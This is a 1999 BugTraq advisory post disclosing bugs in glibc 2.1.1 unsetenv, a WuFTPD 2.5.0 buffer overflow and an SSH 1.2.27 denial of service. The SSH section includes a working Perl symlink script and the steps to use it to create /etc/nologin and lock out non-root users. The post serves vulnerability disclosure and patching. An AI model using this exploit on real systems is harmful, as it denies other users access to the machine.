=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


 Date: Пт, 17 сен 1999  23:23:48

   От: Tymm Twillman <tymm@COE.MISSOURI.EDU>

 Кому: BUGTRAQ@SECURITYFOCUS.COM

 Тема: A few bugs...

--------------------------------------------------------------------------------




Here's a couple of reasons to upgrade packages.  All of these have been

reported to respective developers, and all but the sshd DOS attack have

fixes.  I'm not guaranteeing that exploits are possible for all of these,

but they do look fairly dangerous.



I'd originally sent a message with this info to Aleph One, but probably

should have sent it to the list instead.



- Glibc 2.1.1:



  o unsetenv() off-by-one error:

     The unsetenv function in glibc 2.1.1 suffers from a problem whereby

     when running through the environment variables, if the name of the

     variable being unset is present twice consecutively, the second is

     not destroyed.



     unsetenv is sometimes used by programs that depend on it clearing out

     variables for protection against evil environment variables.



     It appears as though this was found by someone else before I stumbled

     across it; glibc 2.1.2 should not be vulnerable.



     To see if your libc has the problem, compile and run the following

     program:



     #include <stdlib.h>

     #include <stdio.h>



     extern char **environ;



     int main()

     {

       char *env[] = {

        "bob=trash",

        "bob=uh-oh",

       NULL

     };



     environ = env;



     printf("bob = %s\n", env[0]);



     unsetenv("bob");



     printf("bob = %s\n", getenv("bob"));



     return 0;

   }



   If the output isn't "bob = (null)", unsetenv() isn't doing its job.

   (also note that not all libc's support unsetenv, or even the environ

   variable, so this may not compile/link on many non-glibc systems).



- WuFTPD 2.5.0:

  o .message file buffer overflow

      WuFTPD when processing a .message file will read in a buffer, 255

      bytes at a time, and process a number of % options (e.g. %H will

      cause the remote hostname to appear in the output message).  The

      output buffer is only 1024 bytes long, so if the results from %

      options are longer than about 4-5 characters, it will overflow this

      buffer.



      Exploits for this would probably be difficult, as the input buffer

      is actually after the output buffer in memory, so it will overwrite

      the input buffer and keep copying the resulting contents in memory

      over and over until the top of memory is hit, causing a segfault.

      However, with some tricks (using % options that don't produce

      output for example) it may be able to stop the copying before

      this occurs.



      This was fixed in 2.6.0



- SSH 1.2.27 DOS:

  o SSH has the option of setting up "authentication sockets", used to

    pass authentication keys securely.  When this is used, a socket is

    created on both client and server machines; the socket created on the

    server uses an often easy to guess filename (based on the PID)...

    The creation of this socket is done while the server is acting as

    root and does follow symlinks.



    exploit:



    - connect to remote machine

    - run following script (creates symlinks for the next 50 PID's):



    #!/usr/bin/perl



    $pid = $$;



    $whoami = `whoami`;

    chop($whoami);

    mkdir("/tmp/ssh-$whoami", 0700);



    for ($i = $pid; $i < $pid+50; $i++) {

      symlink("/etc/nologin", "/tmp/ssh-$whoami/ssh-$i-agent");

    }





    - on local machine, execute ssh-agent1; it will produce a few lines

      to cut and paste into your shell.  Do so.



    - ssh1 to the remote machine; enter password



    The socket will have been created at /etc/nologin, preventing other

    non-root users from logging in.  This connection too will die with

    "Logins are currently denied by /etc/nologin:"



    This was tested on a RedHat 6.0 machine, with standard

    configure/make/install installation of ssh.  This script should work

    pretty well for systems that create processes where each PID is one

    greater than the last; other platforms may require modifications, or

    many many more links, if they're exploitable.



    I sent this info in to the ssh folks a while ago and they were looking

    into it; haven't heard from them in over a week though.



-Tymm